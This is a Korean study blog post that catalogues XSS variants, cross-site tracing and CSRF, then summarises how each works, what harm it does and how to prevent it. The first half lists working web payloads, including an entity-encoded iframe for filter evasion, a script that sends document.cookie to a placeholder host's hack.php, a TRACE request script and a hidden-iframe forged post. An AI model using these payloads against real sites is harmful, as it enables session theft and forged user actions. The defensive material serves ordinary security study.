xss 공격 유형 정리

satoshichingu·2025년 1월 18일
0

해킹 공부

목록 보기
8/12

xss 공격 유형 정리

  1. Stored XSS
<script>
  alert("XSS 공격 테스트")
</script>
  1. Reflected XSS
<a href="javascript:alert('XSS 공격 테스트')">클릭해보세요!</a>
  1. Stored XSS(On-Event)
<img src="#" onerror="alert('XSS 공격 테스트')";">
  1. DOM-Based XSS
javascript:alert('XSS 공격 테스트');

위 코드를 아스키 코드로 변환하여 삽입

<IFRAME
SRC="&#106;&#097;&#118;&#097;&#115;&#099;&#114;&#105;&#112;&#116;&#058;&#097;&#108;&#101;&#114;&#116;&#040;&#039;&#088;&#083;&#083;&#032;&#234;&#179;&#181;&#234;&#178;&#169;&#032;&#237;&#133;&#140;&#236;&#138;&#164;&#237;&#138;&#184;&#039;&#041;&#059;" width="0" height="0" frameborder="0"></IFRAME>
  1. Stored XSS
<IFRAME ID="showFrame" SRC="javascript:document.write('
<script>
alert('test1');
function show() {
alert('test2');
}
alert('test3');
</script>
');" width="0" height="0" frameborder="0"></IFRAME>
<button id='button" onClick='document.getElementById("showFrame").contentWindow.show()'>button</button>
  1. Reflected XSS
    post로 내 db로 게시글 클릭한 클라이언트의 쿠키값 저장하기
    http only 방식은 쿠키를 못 봄.
<script>
  location.href = "http://domain.com/hack.php?cookie=" + document.cookie;
</script>
  1. XST
    XST(Cross Site Tracing) 공격 기법 - 웹 서버가 Http Only를 지원하여 XSS 공격이 통하지 않지만 TRACE 프로토콜을 허용하고 있을 때 XML 요청을 이용하여 세션을 탈취하는 공격 방법
    - putty와 같은 원격 접속 프로그램을 이용하여 Trace 통신이 가능한지 확인
    - Trace 통신이 가능하다면 이를 이용한 세션 탈취를 감행
    trace 활성화 확인
    curl -X TRACE -v https://domain.com

trace 활성화

HTTP/1.1 200 OK
Content-Type: message/http

TRACE / HTTP/1.1
Host: domain.com

trace 비활성화

HTTP/1.1 405 Method Not Allowed
or
HTTP/1.1 501 Not Implemented

trace가 활성화가 되어있어 trace 통신이 가능하다면

<script type="text/javascript">
function sendTrace() {
    var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    xmlHttp.open("TRACE", "http://foo.bar", false);
    xmlHttp.send();
    xmlDoc=xmlHttp.responseText;
    alert(xmlDoc);
}
</script>
<input type=button OnClick="sendTrace();" value="Send Trace Request">
  1. csrf 공격
    글을 작성하는 post 경로로 데이터를 보내 글을 작성시킴
<iframe src="http://domain.com/a/b/postAction?title=글 강제작성&content=ㅎㅇ" width="0" height="0" frameborder="0"></iframe>

요약 정리

1. XSS (Cross-Site Scripting) 공격

정의

XSS는 공격자가 웹 애플리케이션의 보안 취약점을 이용해 악성 스크립트를 삽입하고, 이를 피해자의 브라우저에서 실행하도록 하는 공격입니다. 주로 사용자 입력을 제대로 검증하거나 필터링하지 않은 웹 애플리케이션에서 발생합니다.

종류

  1. Stored XSS (Persistent XSS):

    • 악성 스크립트가 데이터베이스나 서버에 저장되고, 해당 데이터가 다른 사용자에게 표시될 때 실행됩니다.
    • 예: 게시판에 악성 코드가 포함된 댓글을 남기고, 다른 사용자가 이를 열람하면 실행.
  2. Reflected XSS (Non-Persistent XSS):

    • 악성 스크립트가 즉각 실행되며, 주로 URL 매개변수나 폼 입력값을 통해 전달됩니다.
    • 예: 피싱 링크를 클릭하면 URL에 포함된 악성 코드가 실행.
  3. DOM-Based XSS:

    • 클라이언트 측 코드(JavaScript)에서 DOM을 조작할 때 발생.
    • 서버가 아닌 클라이언트 스크립트에서 입력값 검증이 미흡할 때 발생.

피해 사례

  • 사용자의 쿠키 탈취, 세션 하이재킹.
  • 웹 페이지 위조, 악성 코드 실행.
  • 데이터 유출 및 사용자 계정 탈취.

예방 방법

  • 입력 검증 및 필터링: 사용자 입력에서 HTML, JavaScript 코드를 제거.
  • 출력 시 인코딩: HTML, JavaScript 컨텍스트에서 특수문자를 엔코딩.
  • 콘텐츠 보안 정책(CSP) 설정: 허용된 도메인에서만 스크립트 실행.
  • HTTPOnly 쿠키 사용: 쿠키를 JavaScript로 접근하지 못하게 설정.

2. XST (Cross-Site Tracing) 공격

정의

XST는 HTTP TRACE 메서드의 동작을 악용하는 공격으로, 클라이언트와 서버 간의 요청 메시지를 반환하는 TRACE 메서드로 인해 발생합니다. 공격자는 이 방법을 통해 쿠키나 민감한 정보를 탈취할 수 있습니다.

작동 원리

  1. HTTP TRACE 메서드가 활성화된 서버를 대상으로 합니다.
  2. TRACE 메서드를 통해 클라이언트 요청(헤더 포함)을 그대로 반환합니다.
  3. 공격자는 스크립트를 삽입하여 쿠키나 세션 정보를 탈취.

피해 사례

  • 쿠키 탈취: HttpOnly 속성이 없는 쿠키를 노출시킬 수 있음.
  • 세션 하이재킹: 세션 토큰을 탈취하여 사용자의 권한을 가로챔.

예방 방법

  • TRACE 메서드 비활성화:
    • Apache: TraceEnable off
    • IIS: 레지스트리에서 EnableTraceMethod를 비활성화.
  • HttpOnly 속성 설정: 쿠키를 JavaScript로 접근하지 못하도록 설정.
  • XSS 예방: XST는 보통 XSS와 함께 사용되므로 XSS를 차단하면 위험을 줄일 수 있음.

3. CSRF (Cross-Site Request Forgery) 공격

정의

CSRF는 피해자가 의도하지 않은 요청을 웹 애플리케이션으로 전송하도록 속이는 공격입니다. 공격자는 사용자가 로그인 상태인 세션을 악용하여, 권한이 있는 사용자의 이름으로 요청을 실행합니다.

작동 원리

  1. 사용자가 인증된 상태(세션 유지)에서 악성 사이트를 방문.
  2. 악성 사이트는 브라우저를 통해 피해자의 인증 정보를 포함한 요청을 웹 애플리케이션으로 전송.
  3. 서버는 요청이 정상적인 사용자 요청으로 착각하여 처리.

피해 사례

  • 데이터 변조: 계좌 이체, 비밀번호 변경.
  • 권한 탈취: 관리자 권한으로 악성 설정 변경.
  • 정보 노출: 민감 데이터 조회.

예방 방법

  1. CSRF 토큰 사용:

    • 각 요청마다 고유한 토큰을 생성하고 검증.
    • 예: Django, Spring 등 프레임워크에서는 기본적으로 CSRF 방어 기능 제공.
  2. Referer/Origin 헤더 검증:

    • 요청의 출처가 올바른지 확인.
  3. SameSite 쿠키 설정:

    • 쿠키의 SameSite 속성을 Strict 또는 Lax로 설정하여 외부 사이트에서 쿠키를 전송하지 못하도록 제한.
  4. 인증 헤더 요구:

    • 민감한 작업에 대해 사용자가 직접 인증하도록 요구(예: 비밀번호 입력).

비교 요약

공격 유형주요 특징피해예방 방법
XSS사용자 입력을 통해 악성 스크립트 삽입쿠키/세션 탈취, 악성 코드 실행입력 검증, 출력 인코딩, CSP
XSTTRACE 메서드를 악용하여 요청 메시지를 탈취쿠키/세션 탈취TRACE 비활성화, HttpOnly 쿠키
CSRF사용자를 속여 의도치 않은 요청을 수행데이터 변조, 권한 악용CSRF 토큰, SameSite 쿠키, Referer 검증

0개의 댓글